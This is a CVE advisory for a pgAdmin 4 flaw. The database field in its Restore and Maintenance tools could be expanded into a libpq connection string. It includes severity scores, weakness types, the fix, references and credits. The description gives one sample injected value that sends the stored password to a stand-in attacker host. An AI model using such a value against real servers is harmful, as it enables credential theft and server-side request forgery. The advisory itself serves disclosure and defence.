pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
Summary
| CVE | CVE-2026-86862 |
|---|---|
| State | PUBLISHED |
| Assigner | PostgreSQL |
| Source Priority | CVE Program / NVD first with legacy fallback |
| Published | 2026-09-17 16:18:17 UTC |
| Updated | 2026-09-17 17:16:51 UTC |
| Description | pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18. |
Risk And Classification
Primary CVSS: v4.0 7.1 HIGH from f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Problem Types: CWE-88 | CWE-522 | CWE-918 | CWE-88 CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') | CWE-522 CWE-522 Insufficiently Protected Credentials | CWE-918 CWE-918 Server-Side Request Forgery (SSRF)
| Version | Source | Type | Score | Severity | Vector |
|---|---|---|---|---|---|
| 4.0 | f86ef6dc-4d3a-42ad-8f28-e6d5547a5007 | Secondary | 7.1 | HIGH | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/C... |
| 4.0 | CNA | CVSS | 7.1 | HIGH | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| 3.1 | f86ef6dc-4d3a-42ad-8f28-e6d5547a5007 | Secondary | 6.5 | MEDIUM | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| 3.1 | CNA | CVSS | 6.5 | MEDIUM | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
CVSS v4.0 Breakdown
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS v3.1 Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Vendor Declared Affected Products
| Source | Vendor | Product | Version | Platforms |
|---|---|---|---|---|
| CNA | Pgadmin.org | PgAdmin 4 | affected 9.18 custom | Not specified |
References
| Reference | Source | Link | Tags |
|---|---|---|---|
| github.com/pgadmin-org/pgadmin4/issues/10388 | f86ef6dc-4d3a-42ad-8f28-e6d5547a5007 | github.com | |
| CVE Program record | CVE.ORG | www.cve.org | canonical |
| NVD vulnerability detail | NVD | nvd.nist.gov | canonical, analysis |
Vendor Comments And Credit
Discovery Credit
CNA: Hitesh Jambhale <[email protected]> (en)
CNA: Hitesh Jambhale <[email protected]> (en)
CNA: Kundan Sable <[email protected]> (en)